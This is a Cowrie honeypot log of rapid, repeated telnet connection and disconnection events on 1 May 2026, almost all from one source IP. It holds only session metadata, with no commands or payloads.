{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41018,"dst_ip":"159.203.135.109","dst_port":23,"session":"423e104305c7","protocol":"telnet","message":"New connection: 69.6.196.124:41018 (159.203.135.109:23) [session: 423e104305c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:35.263821Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41024,"dst_ip":"159.203.135.109","dst_port":23,"session":"90d465d82061","protocol":"telnet","message":"New connection: 69.6.196.124:41024 (159.203.135.109:23) [session: 90d465d82061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:36.048237Z"}
{"eventid":"cowrie.session.closed","duration":31.47158432006836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:36.131022Z","src_ip":"69.6.196.124","session":"5db738bc3197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41036,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc94bb15873","protocol":"telnet","message":"New connection: 69.6.196.124:41036 (159.203.135.109:23) [session: 5cc94bb15873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:36.274899Z"}
{"eventid":"cowrie.session.closed","duration":30.278772592544556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:36.326887Z","src_ip":"69.6.196.124","session":"27d3901d8d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41052,"dst_ip":"159.203.135.109","dst_port":23,"session":"f189f2675174","protocol":"telnet","message":"New connection: 69.6.196.124:41052 (159.203.135.109:23) [session: f189f2675174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:36.551805Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41030,"dst_ip":"159.203.135.109","dst_port":23,"session":"af2011b42e04","protocol":"telnet","message":"New connection: 69.6.196.124:41030 (159.203.135.109:23) [session: af2011b42e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:37.225356Z"}
{"eventid":"cowrie.session.closed","duration":30.833845138549805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:37.345002Z","src_ip":"69.6.196.124","session":"670c710da685","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41054,"dst_ip":"159.203.135.109","dst_port":23,"session":"7042e9ee413b","protocol":"telnet","message":"New connection: 69.6.196.124:41054 (159.203.135.109:23) [session: 7042e9ee413b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:37.372608Z"}
{"eventid":"cowrie.session.closed","duration":30.638412952423096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:37.432758Z","src_ip":"69.6.196.124","session":"d0b1fc0e5e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41064,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac98b03a5c7a","protocol":"telnet","message":"New connection: 69.6.196.124:41064 (159.203.135.109:23) [session: ac98b03a5c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:37.454507Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41080,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bc4ac132563","protocol":"telnet","message":"New connection: 69.6.196.124:41080 (159.203.135.109:23) [session: 2bc4ac132563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:37.511903Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41086,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fdd624bd903","protocol":"telnet","message":"New connection: 69.6.196.124:41086 (159.203.135.109:23) [session: 6fdd624bd903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:37.572494Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41094,"dst_ip":"159.203.135.109","dst_port":23,"session":"70ff6258812a","protocol":"telnet","message":"New connection: 69.6.196.124:41094 (159.203.135.109:23) [session: 70ff6258812a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:37.655853Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41104,"dst_ip":"159.203.135.109","dst_port":23,"session":"87c0ae1bfc34","protocol":"telnet","message":"New connection: 69.6.196.124:41104 (159.203.135.109:23) [session: 87c0ae1bfc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:37.687814Z"}
{"eventid":"cowrie.session.closed","duration":31.591602325439453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:38.172791Z","src_ip":"69.6.196.124","session":"c60c55b9fb73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046935558319092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:38.683657Z","src_ip":"69.6.196.124","session":"1637ff246ee6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41126,"dst_ip":"159.203.135.109","dst_port":23,"session":"1191e7f82180","protocol":"telnet","message":"New connection: 69.6.196.124:41126 (159.203.135.109:23) [session: 1191e7f82180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:39.041944Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41116,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eeaed586fa2","protocol":"telnet","message":"New connection: 69.6.196.124:41116 (159.203.135.109:23) [session: 7eeaed586fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:39.081917Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41138,"dst_ip":"159.203.135.109","dst_port":23,"session":"e470bdf8d072","protocol":"telnet","message":"New connection: 69.6.196.124:41138 (159.203.135.109:23) [session: e470bdf8d072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:39.146067Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41118,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec3ab98a4533","protocol":"telnet","message":"New connection: 69.6.196.124:41118 (159.203.135.109:23) [session: ec3ab98a4533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:39.275007Z"}
{"eventid":"cowrie.session.closed","duration":30.70832133293152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:39.451845Z","src_ip":"69.6.196.124","session":"f3dbd7e4e6d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21354651451111,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:39.553994Z","src_ip":"69.6.196.124","session":"6b6dca4c7d99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48884,"dst_ip":"159.203.135.109","dst_port":23,"session":"52101498702c","protocol":"telnet","message":"New connection: 69.6.196.124:48884 (159.203.135.109:23) [session: 52101498702c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:39.752735Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48900,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d413a5034d3","protocol":"telnet","message":"New connection: 69.6.196.124:48900 (159.203.135.109:23) [session: 1d413a5034d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:40.023597Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48910,"dst_ip":"159.203.135.109","dst_port":23,"session":"23ace822d9b8","protocol":"telnet","message":"New connection: 69.6.196.124:48910 (159.203.135.109:23) [session: 23ace822d9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:40.032007Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48918,"dst_ip":"159.203.135.109","dst_port":23,"session":"603dc3fc2be0","protocol":"telnet","message":"New connection: 69.6.196.124:48918 (159.203.135.109:23) [session: 603dc3fc2be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:40.536923Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":43808,"dst_ip":"10.17.0.5","dst_port":23,"session":"10d86687bf22","protocol":"telnet","message":"New connection: 185.53.58.141:43808 (10.17.0.5:23) [session: 10d86687bf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:40.566636Z"}
{"eventid":"cowrie.session.closed","duration":30.93177580833435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:40.725747Z","src_ip":"69.6.196.124","session":"9730e49ef688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48926,"dst_ip":"159.203.135.109","dst_port":23,"session":"75ace0949c81","protocol":"telnet","message":"New connection: 69.6.196.124:48926 (159.203.135.109:23) [session: 75ace0949c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:40.828195Z"}
{"eventid":"cowrie.session.closed","duration":30.875396728515625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:40.931729Z","src_ip":"69.6.196.124","session":"02a8b493fde1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27280831336975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:40.977762Z","src_ip":"69.6.196.124","session":"2ffa3bd79310","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39641499519348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:41.606885Z","src_ip":"69.6.196.124","session":"a5d1bf1a14d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.33436441421509,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:41.909388Z","src_ip":"69.6.196.124","session":"7dbd74f9a32c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48932,"dst_ip":"159.203.135.109","dst_port":23,"session":"47b36e86dba9","protocol":"telnet","message":"New connection: 69.6.196.124:48932 (159.203.135.109:23) [session: 47b36e86dba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:41.994001Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48944,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0030f715f88","protocol":"telnet","message":"New connection: 69.6.196.124:48944 (159.203.135.109:23) [session: a0030f715f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:42.043691Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48956,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eaca691444a","protocol":"telnet","message":"New connection: 69.6.196.124:48956 (159.203.135.109:23) [session: 2eaca691444a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:42.162616Z"}
{"eventid":"cowrie.session.closed","duration":30.88753581047058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:42.364270Z","src_ip":"69.6.196.124","session":"e9cf97fc20d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.682095050811768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:43.178497Z","src_ip":"69.6.196.124","session":"4466b7d5bd15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79965114593506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:43.289618Z","src_ip":"69.6.196.124","session":"c3a7233492a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48980,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ee22703b0ff","protocol":"telnet","message":"New connection: 69.6.196.124:48980 (159.203.135.109:23) [session: 8ee22703b0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:43.414037Z"}
{"eventid":"cowrie.session.closed","duration":30.61093020439148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:43.439380Z","src_ip":"69.6.196.124","session":"b596ba3382c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.877313375473022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:43.464777Z","src_ip":"69.6.196.124","session":"3d5e52d50d28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48984,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5804b0f86aa","protocol":"telnet","message":"New connection: 69.6.196.124:48984 (159.203.135.109:23) [session: a5804b0f86aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:43.829563Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48992,"dst_ip":"159.203.135.109","dst_port":23,"session":"c84093870ca5","protocol":"telnet","message":"New connection: 69.6.196.124:48992 (159.203.135.109:23) [session: c84093870ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:44.196690Z"}
{"eventid":"cowrie.session.closed","duration":31.28535485267639,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:44.255807Z","src_ip":"69.6.196.124","session":"9e796c628752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.741684913635254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:44.273996Z","src_ip":"69.6.196.124","session":"119b35c5fa46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48996,"dst_ip":"159.203.135.109","dst_port":23,"session":"1222638fb48e","protocol":"telnet","message":"New connection: 69.6.196.124:48996 (159.203.135.109:23) [session: 1222638fb48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:44.462184Z"}
{"eventid":"cowrie.session.closed","duration":30.516347408294678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:44.467044Z","src_ip":"69.6.196.124","session":"82e7739f2a6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48998,"dst_ip":"159.203.135.109","dst_port":23,"session":"410cd156dee9","protocol":"telnet","message":"New connection: 69.6.196.124:48998 (159.203.135.109:23) [session: 410cd156dee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:44.491351Z"}
{"eventid":"cowrie.session.closed","duration":30.489139318466187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:45.275140Z","src_ip":"69.6.196.124","session":"439fdf5a1a3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0887713432312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:45.289418Z","src_ip":"69.6.196.124","session":"12581a6bc80d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.480321407318115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:45.336792Z","src_ip":"69.6.196.124","session":"4163f04742ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48964,"dst_ip":"159.203.135.109","dst_port":23,"session":"30a31eaf773b","protocol":"telnet","message":"New connection: 69.6.196.124:48964 (159.203.135.109:23) [session: 30a31eaf773b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:45.546084Z"}
{"eventid":"cowrie.session.closed","duration":30.48137092590332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:45.602389Z","src_ip":"69.6.196.124","session":"dae19f0d3e2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49018,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b0365f00d44","protocol":"telnet","message":"New connection: 69.6.196.124:49018 (159.203.135.109:23) [session: 1b0365f00d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:46.122575Z"}
{"eventid":"cowrie.session.closed","duration":30.57233762741089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:47.316774Z","src_ip":"69.6.196.124","session":"c86256bf3027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.617038249969482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:47.330058Z","src_ip":"69.6.196.124","session":"b94934cbaf35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16124987602234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:47.712734Z","src_ip":"69.6.196.124","session":"f8966070b51e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49012,"dst_ip":"159.203.135.109","dst_port":23,"session":"2440c4e95310","protocol":"telnet","message":"New connection: 69.6.196.124:49012 (159.203.135.109:23) [session: 2440c4e95310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:47.721747Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49034,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4db98bb95ca","protocol":"telnet","message":"New connection: 69.6.196.124:49034 (159.203.135.109:23) [session: c4db98bb95ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:47.754658Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49064,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aefa068cf62","protocol":"telnet","message":"New connection: 69.6.196.124:49064 (159.203.135.109:23) [session: 8aefa068cf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:47.970675Z"}
{"eventid":"cowrie.session.closed","duration":30.817513465881348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:48.304950Z","src_ip":"69.6.196.124","session":"e90f53d7fe9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70214295387268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:48.349260Z","src_ip":"69.6.196.124","session":"1f93e7655183","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985673427581787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:48.355067Z","src_ip":"69.6.196.124","session":"030fce188419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52411985397339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:48.437979Z","src_ip":"69.6.196.124","session":"70e5af8a5413","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199902772903442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:48.526900Z","src_ip":"69.6.196.124","session":"04d536f60497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107791662216187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:48.559332Z","src_ip":"69.6.196.124","session":"3dca0700cfd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92876672744751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:48.665593Z","src_ip":"69.6.196.124","session":"d084feff2c85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49050,"dst_ip":"159.203.135.109","dst_port":23,"session":"13543dbc6276","protocol":"telnet","message":"New connection: 69.6.196.124:49050 (159.203.135.109:23) [session: 13543dbc6276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:48.778082Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49080,"dst_ip":"159.203.135.109","dst_port":23,"session":"c22a6bb6d615","protocol":"telnet","message":"New connection: 69.6.196.124:49080 (159.203.135.109:23) [session: c22a6bb6d615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:48.966165Z"}
{"eventid":"cowrie.session.closed","duration":30.14648962020874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:49.260499Z","src_ip":"69.6.196.124","session":"47f5c9d0b4bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21437954902649,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:49.907518Z","src_ip":"69.6.196.124","session":"b8457bf3f7c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60252,"dst_ip":"159.203.135.109","dst_port":23,"session":"580c21f83b99","protocol":"telnet","message":"New connection: 69.6.196.124:60252 (159.203.135.109:23) [session: 580c21f83b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:50.131319Z"}
{"eventid":"cowrie.session.closed","duration":31.957335233688354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:50.173806Z","src_ip":"69.6.196.124","session":"d84c58b75592","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128495454788208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:50.387784Z","src_ip":"69.6.196.124","session":"d088caf4d7e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60278,"dst_ip":"159.203.135.109","dst_port":23,"session":"c87e924ab39b","protocol":"telnet","message":"New connection: 69.6.196.124:60278 (159.203.135.109:23) [session: c87e924ab39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:50.770788Z"}
{"eventid":"cowrie.session.closed","duration":30.43139934539795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:51.322469Z","src_ip":"69.6.196.124","session":"53665e89227a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60286,"dst_ip":"159.203.135.109","dst_port":23,"session":"4794a5829a30","protocol":"telnet","message":"New connection: 69.6.196.124:60286 (159.203.135.109:23) [session: 4794a5829a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:51.626264Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60296,"dst_ip":"159.203.135.109","dst_port":23,"session":"17d59c90ca1d","protocol":"telnet","message":"New connection: 69.6.196.124:60296 (159.203.135.109:23) [session: 17d59c90ca1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:51.711465Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41038,"dst_ip":"159.203.135.109","dst_port":23,"session":"545bb01f227a","protocol":"telnet","message":"New connection: 69.6.196.124:41038 (159.203.135.109:23) [session: 545bb01f227a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:51.754219Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60312,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc301a0d7e6f","protocol":"telnet","message":"New connection: 69.6.196.124:60312 (159.203.135.109:23) [session: fc301a0d7e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:52.328315Z"}
